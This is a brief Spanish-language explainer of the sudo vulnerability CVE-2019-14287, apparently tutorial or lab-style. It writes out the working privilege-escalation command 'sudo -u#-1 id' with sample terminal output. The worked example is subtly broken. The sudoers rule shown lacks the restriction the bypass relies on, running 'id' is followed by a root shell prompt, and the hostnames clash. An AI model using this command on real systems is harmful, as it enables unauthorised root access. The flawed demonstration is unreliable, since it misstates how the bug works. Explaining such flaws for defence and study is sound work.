CVE-2019-14287
Bypass de Políticas de Sudo (CVE-2019-14287)
En 2019 se descubrió una vulnerabilidad crítica que afectaba a todas las versiones de Sudo anteriores a la 1.8.28, permitiendo la escalada de privilegios mediante un comando sencillo. Identificada como CVE-2019-14287, esta vulnerabilidad solo requería un único requisito: que el archivo /etc/sudoers permitiera a un usuario ejecutar un comando específico.
Ejemplo Práctico
Al verificar los permisos con sudo -l
, observamos que el usuario elliot
tiene permitido ejecutar el comando /usr/bin/id
en el sistema:
elliot@debian:~$ sudo -l
[sudo] password for elliot: **********
User elliot may run the following commands on Mrrobot:
ALL=(ALL) /usr/bin/id
Explicación de la Vulnerabilidad
Sudo permite ejecutar comandos con IDs de usuario específicos, otorgando los privilegios del usuario asociado a dicho ID. Por ejemplo, el ID del usuario elliot
se puede obtener del archivo /etc/passwd
:
elliot@debian:~$ cat /etc/passwd | grep elliot
elliot:x:1000:1000:elliot,,,:/home/elliot:/bin/bash
Aquí, el ID de elliot
es 1000. Sin embargo, la vulnerabilidad radica en que, si se ingresa un ID negativo (como -1
), Sudo lo interpreta como 0 (el ID de root). Esto permite obtener una shell con privilegios de root de manera inmediata:
elliot@debian2:~$ sudo -u#-1 id
root@debian:/home/elliot# id
uid=0(root) gid=1000(elliot) groups=1000(elliot)
Impacto
Este fallo permitía a cualquier usuario con permisos limitados en /etc/sudoers
convertirse en root sin autenticación adicional, explotando un error en el manejo de IDs de usuario. La corrección en Sudo 1.8.28
invalidó esta técnica al bloquear el uso de IDs negativos.